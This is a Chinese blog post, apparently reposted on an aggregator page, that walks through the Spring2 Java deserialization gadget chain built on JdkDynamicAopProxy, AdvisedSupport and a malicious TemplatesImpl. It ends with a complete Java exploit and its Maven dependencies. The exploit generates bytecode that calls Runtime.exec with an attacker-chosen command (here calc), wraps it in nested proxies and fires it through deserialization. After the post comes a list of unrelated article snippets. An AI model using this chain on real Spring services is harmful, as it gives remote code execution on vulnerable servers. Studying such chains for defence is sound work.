5分钟建站wordpress域名服务商有哪些

diannao/2026/1/22 3:08:42/文章来源:
5分钟建站wordpress,域名服务商有哪些,世界十大网站开发公司,花都营销型网站目录 简介 简话JdkDynamicAopProxy 关于target的出身——AdvisedSupport EXP 请确保已阅读过前文或对Spring1链至少有一定认知#xff1a;【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客 简介 Spring2 和 Spring1 的反序列化过程基本相同#xff0c;唯一…目录 简介 简话JdkDynamicAopProxy 关于target的出身——AdvisedSupport EXP 请确保已阅读过前文或对Spring1链至少有一定认知【Web】浅聊Java反序列化之Spring1链——三层动态代理-CSDN博客 简介 Spring2 和 Spring1 的反序列化过程基本相同唯一不同的在于把spring-beans的ObjectFactoryDelegatingInvocationHandler换成了spring-aop的JdkDynamicAopProxy org.springframework.aop.framework.JdkDynamicAopProxy 类是 Spring AOP 框架基于 JDK 动态代理的实现同时其还实现了 AopProxy 接口。 个人觉得Spring2较Spring1更快刀斩乱麻思路更清晰构造更干净(毕竟只用了两层代理 简话JdkDynamicAopProxy ①JdkDynamicAopProxy实现了AopProxy, InvocationHandler, Serializable三个接口 所以我们要清楚地认知其本质也是handler用作构造动态代理类 final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable ②其构造方法接收一个AdvisedSupport类型的参数config并赋值给advised public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {Assert.notNull(config, AdvisedSupport must not be null);if (config.getAdvisors().length 0 config.getTargetSource() AdvisedSupport.EMPTY_TARGET_SOURCE) {throw new AopConfigException(No advisors and no TargetSource specified);} else {this.advised config;}} 这段代码的作用是根据传入的 AdvisedSupport 对象进行初始化确保必要的属性不为空。如果属性不满足要求则抛出异常。否则将 config 赋值给类的成员变量 advised完成初始化操作。 ③JdkDynamicAopProxy#invoke public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {Object oldProxy null;boolean setProxyContext false;TargetSource targetSource this.advised.targetSource;Class? targetClass null;Object target null;Integer var10;try {if (!this.equalsDefined AopUtils.isEqualsMethod(method)) {Boolean var18 this.equals(args[0]);return var18;}if (this.hashCodeDefined || !AopUtils.isHashCodeMethod(method)) {Object retVal;if (!this.advised.opaque method.getDeclaringClass().isInterface() method.getDeclaringClass().isAssignableFrom(Advised.class)) {retVal AopUtils.invokeJoinpointUsingReflection(this.advised, method, args);return retVal;}if (this.advised.exposeProxy) {oldProxy AopContext.setCurrentProxy(proxy);setProxyContext true;}target targetSource.getTarget();if (target ! null) {targetClass target.getClass();}ListObject chain this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);if (chain.isEmpty()) {retVal AopUtils.invokeJoinpointUsingReflection(target, method, args);} else {MethodInvocation invocation new ReflectiveMethodInvocation(proxy, target, method, args, targetClass, chain);retVal invocation.proceed();}Class? returnType method.getReturnType();if (retVal ! null retVal target returnType.isInstance(proxy) !RawTargetAccess.class.isAssignableFrom(method.getDeclaringClass())) {retVal proxy;} else if (retVal null returnType ! Void.TYPE returnType.isPrimitive()) {throw new AopInvocationException(Null return value from advice does not match primitive return type for: method);}Object var13 retVal;return var13;}var10 this.hashCode();} finally {if (target ! null !targetSource.isStatic()) {targetSource.releaseTarget(target);}if (setProxyContext) {AopContext.setCurrentProxy(oldProxy);}}return var10;} 先是获取advised 里的 TargetSource存进targetSource里并调用 getTarget() 方法返回其中的对象存进target里。(我知道你想问什么后面会讲的) 接着再调用AopUtils.invokeJoinpointUsingReflection(target, method, args) public static Object invokeJoinpointUsingReflection(Object target, Method method, Object[] args) throws Throwable {try {ReflectionUtils.makeAccessible(method);return method.invoke(target, args);} 这段代码的作用是通过反射机制调用目标对象的指定方法并传入相应的参数实现了对目标对象方法的动态调用 总结一下就是JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员。 而方法名是我们可控的(从MethodInvokeTypeProvider传入)那我们只要让target成员为恶意TemplatesImpl并把方法名设置为newTransformer就可调用TemplatesImpl#newTransformer这样就免去了三层代理的繁琐。 关于target的出身——AdvisedSupport 现在的问题来到了如何让target成员为恶意TemplatesImpl 我们知道target来源自this.advised.targetSource.getTarget()而advised是一个 AdvisedSupport类 看下AdvisedSupport类的构造方法 public AdvisedSupport() {this.targetSource EMPTY_TARGET_SOURCE;this.preFiltered false;this.advisorChainFactory new DefaultAdvisorChainFactory();this.interfaces new ArrayList();this.advisors new LinkedList();this.advisorArray new Advisor[0];this.initMethodCache();} this.advised.targetSource是个TargetSource接口的实现但没有对getTarget进行重写 public interface TargetSource extends TargetClassAware {Class? getTargetClass();boolean isStatic();Object getTarget() throws Exception;void releaseTarget(Object var1) throws Exception; }如果猜测getTarget是个getter方法从对称的角度我们不难想到可以用setTarget来放入恶意TemplatesImpl但出于严谨还是得跟一下具体调用 public void setTarget(Object target) {this.setTargetSource(new SingletonTargetSource(target));} 跟进setTargetSource public void setTargetSource(TargetSource targetSource) {this.targetSource targetSource ! null ? targetSource : EMPTY_TARGET_SOURCE;} 经典三目运算如果传入的 targetSource 不为 null则设置为传入的 targetSource如果传入的 targetSource 为 null则设置为默认的 EMPTY_TARGET_SOURCE   targetSource从哪来从new SingletonTargetSource(target)来。 再回头跟一下SingletonTargetSource发现就是给this.target赋值为target public SingletonTargetSource(Object target) {Assert.notNull(target, Target object must not be null);this.target target;} 然后new一个SingletonTargetSource对象传入setTargetSource从而让this.advised.targetSource赋值为我们刚new完的SingletonTargetSource对象而该对象的target属性就是由我们传入的。 所以this.advised.targetSource.getTarget()得到的就是我们构造时用setTarget传入的target。 EXP pom依赖 dependenciesdependencygroupIdorg.javassist/groupIdartifactIdjavassist/artifactIdversion3.29.2-GA/version/dependencydependencygroupIdorg.springframework/groupIdartifactIdspring-aop/artifactIdversion4.1.4.RELEASE/version/dependency/dependencies 召唤计算器的神奇的咒语 package com.spring;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.springframework.aop.framework.AdvisedSupport; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.*; import java.util.HashMap;public class Spring2 {public static void main(String[] args) throws Exception {TemplatesImpl templates TemplatesImpl.class.newInstance();setValue(templates, _bytecodes, new byte[][]{genPayload(calc)});setValue(templates, _name, 1);AdvisedSupport as new AdvisedSupport();as.setTarget(templates);Class? clazz0 Class.forName(org.springframework.aop.framework.JdkDynamicAopProxy);Constructor? con0 clazz0.getDeclaredConstructors()[0];con0.setAccessible(true);InvocationHandler aopInvocationHandler (InvocationHandler) con0.newInstance(as);Object aopProxy Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);HashMapString, Object map2 new HashMapString, Object();map2.put(getType, aopProxy);Class? clazz2 Class.forName(sun.reflect.annotation.AnnotationInvocationHandler);Constructor? con2 clazz2.getDeclaredConstructors()[0];con2.setAccessible(true);InvocationHandler invocationHandler2 (InvocationHandler) con2.newInstance(Override.class, map2);Object typeProviderProxy Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName(org.springframework.core.SerializableTypeWrapper$TypeProvider)}, invocationHandler2);Class? clazz3 Class.forName(org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider);Constructor? con3 clazz3.getDeclaredConstructors()[0];con3.setAccessible(true);Object o con3.newInstance(typeProviderProxy, Object.class.getMethod(toString), 0);setValue(o, methodName, newTransformer);ser(o);}public static void ser(Object o) throws Exception {ByteArrayOutputStream baos new ByteArrayOutputStream();ObjectOutputStream oos new ObjectOutputStream(baos);oos.writeObject(o);oos.close();ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));ois.readObject();}public static byte[] genPayload(String cmd) throws Exception {ClassPool pool ClassPool.getDefault();CtClass clazz pool.makeClass(a);CtClass superClass pool.get(AbstractTranslet.class.getName());clazz.setSuperclass(superClass);CtConstructor constructor new CtConstructor(new CtClass[]{}, clazz);constructor.setBody(Runtime.getRuntime().exec(\ cmd \););clazz.addConstructor(constructor);clazz.getClassFile().setMajorVersion(49);return clazz.toBytecode();}public static void setValue(Object obj, String name, Object value) throws Exception {Field field obj.getClass().getDeclaredField(name);field.setAccessible(true);field.set(obj, value);}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/89419.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个数据库怎么做二个网站wordpress网站重做

前言 当我们在开发过程中,由于maven项目本身的限制,我们不能直接把我们的mapper.xml文件和对应mapper.java接口文件放到一起,也就是不能直接放在java包中,如图: 因为maven项目在构建打包时,会从src/main…

如何做网站连接记事本html网页制作代码

jboss性能指标技术来了又去,但是一件事保持不变。 在设计企业解决方案时,我们喜欢使我们的生活更轻松的复杂组件,作为建筑师和开发人员,我们一直在寻找使我们的生活更轻松的方法。 一种方法是跟上与感兴趣的技术有关的流行新站点…

小组做数据库网站上海公司牌照申请流程

x现在没时间,留个坑 转载于:https://www.cnblogs.com/smzd/p/11634665.html

同一源代码再建设一个网站wordpress数据盘

<1>简介 之前往往是通过Bitmap、Drawable和Canvas配合完成&#xff0c;需要写一系列繁杂的逻辑去缩小原有图片&#xff0c;从而得到缩略图。 现在我给大家介绍一种比较简单的方法&#xff1a;&#xff08;网上有&#xff09; 在Android 2.2版本中&#xff0c;新增了一个T…

如何用公司名称搜到公司网站wordpress ftp验证

参考答案如下下中单选(2分) 新民主主义革命的三大法宝是( )单选(2分) 关于计算机为什么基于二进制数来实现&#xff0c;标题下列说法不正确的是单选(3分) “某些人天生具有一些特质&#xff0c;下中这些特质会使他们成为伟大的领导者。”这是以下哪种理论的观点?标题单选(3分)…

科研网站怎么建设微信公众号管理平台官网

最近发现了一个连接mqtt broker的软件&#xff1a;MQTTBox。GitHub地址&#xff1a;https://github.com/workswithweb/MQTTBox 官网网站的介绍为&#xff1a;使用MQTTBox增强你的物联网流程 MQTT客户端特性 支持TCP、TLS、Web Sockets和安全的Web Sockets连接MQTT服务器支持各种…

化工行业网站设计设计师培训生招聘

预编译阶段嵌入头文件并完成替换首先需要找到需要包含头文件的位置&#xff0c;然后进行引入。 示例&#xff1a; 1&#xff09;用户头文件 /*brief design and implements of demo-for-precompile.author wenxuanpeiemail 15873152445163.com(query for any question here) …

网页建站怎么做推广有哪些方式

学习交流加 个人qq&#xff1a; 1126137994个人微信&#xff1a; liu1126137994学习交流资源分享qq群&#xff1a; 962535112 上一篇文章&#xff0c;我们用比较原始的方法编写了主引导扇区的代码。点击链接查看上一篇文章&#xff1a;编写主引导扇区代码 本片文章将学习以下内…

网站建设实训 考核要求重庆做营销网站

据英国《金融时报》报道&#xff0c;据报道&#xff0c;苹果已通知其供应链&#xff0c;包括中国德赛公司和台湾新普科技等电池供应商&#xff0c;其倾向于将 iPhone 16 的电池供应转移到印度。苹果鼓励供应商将现有产能迁往印度&#xff0c;以扩大该地区的生产规模。 鉴于电池…

服务器网站源码在哪wordpress 登陆重定向

一、什么是二层交换机&#xff1f; 二层交换机&#xff08;Layer 2 Switch&#xff09;是一种网络设备&#xff0c;主要工作在OSI模型的数据链路层&#xff08;第二层&#xff09;&#xff0c;用于在局域网内部进行数据包的交换和转发。二层交换机通过学习MAC地址表&#xff0…

网站虚拟主机 会计处理flash网站设计概述

1. 什么是Redis&#xff1f;它主要用来什么的&#xff1f; Redis&#xff0c;英文全称是Remote Dictionary Server&#xff08;远程字典服务&#xff09;&#xff0c;是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库&#xff0c;并…

做电商网站费用流量平台

一、课程简介线性代数是讨论代数学中线性关系经典理论的课程&#xff0c;它具有较强的抽象性与逻辑性&#xff0c;是高等学校工科本科各专业的一门重要的基础理论课&#xff0c;也是硕士研究生入学全国统一考试中必考的数学课程之一。由于线性问题广泛存在于科学技术的各个领域…

网站默认首页怎么做网站收录系统

要查看Docker容器已经运行的数据卷映射&#xff0c;可以使用以下命令&#xff1a; docker inspect -f {{range .Mounts}}{{.Source}} -> {{.Destination}}{{end}} <容器名称或ID>这个命令使用docker inspect命令以格式化的方式输出容器的详细信息。-f选项允许您指定G…

网站开发 成都网络营销推广方法有

一、题目 两个整数之间的 汉明距离 指的是这两个数字对应二进制位不同的位置的数目。 给你两个整数 x 和 y&#xff0c;计算并返回它们之间的汉明距离。 示例 1&#xff1a; 输入&#xff1a;x 1, y 4 输出&#xff1a;2 解释&#xff1a; 1 (0 0 0 1) 4 (0 1 0 0)↑ …

扬州建设网站做视频怎么做

文章目录 1.前言2. Emby网站搭建2.1. Emby下载和安装2.2 Emby网页测试 3. 本地网页发布3.1 注册并安装cpolar内网穿透3.2 Cpolar云端设置3.3 Cpolar内网穿透本地设置 4.公网访问测试5.结语 1.前言 在现代五花八门的网络应用场景中&#xff0c;观看视频绝对是主力应用场景之一&…

网站如何做子域名什么是网站开发流程

作者 | 磊哥来源 | Java面试真题解析&#xff08;ID&#xff1a;aimianshi666&#xff09;转载请联系授权&#xff08;微信ID&#xff1a;GG_Stone&#xff09;跨域问题指的是不同站点之间&#xff0c;使用 ajax 无法相互调用的问题。跨域问题本质是浏览器的一种保护机制&#…

wordpress主题grace主题开封网站seo

原因&#xff1a; 判段网关的时候判127.0.0.1&#xff0c;所以最好改localhost 其他参考&#xff1a; 【计算机网络】localhost不能访问&#xff0c;127.0.0.1可以访问&#xff1f;_ping localhost和ping 127.0.0.1-CSDN博客

优秀的定制网站建设公司推广策略及推广方式

打开你的github&#xff0c;Setting 点击Developer settings。 点击generate new token 按照需要选择scope 生成token&#xff0c;以后复制下来。 给git设置token样式的remote url git remote set-url origin https://你的tokengithub.com/你的git用户名/仓库名称.git然后就可…

南阳网站优化软件企业网络管理系统有哪些

组合逻辑过程块 always_comb代表组合逻辑 always_comb过程块表示建立组合逻辑模型 always_comb if(!mode)y a b; elsey a - b;always_comb能推断出其敏感表 与通用always过程块不同&#xff0c;always_comb块的后面不需要指明敏感表。软件工具已经知道设计的意图是建立一个…

刷百度指数网站工作正能量励志句子

1.下载ESP8266Flasher及deauther2.1.0_1mb.bin这个固件 2.连接ESP8266模块到电脑 设备管理器可看到成功连接的ESP8266设备 3.开始刷入固件到ESP8266模块 运行ESP8266Flasher并点击Config选择固件: 配置高级选项: 点击Flash开始刷入固件,固件成功刷入如下: 按一下ESP8266模块…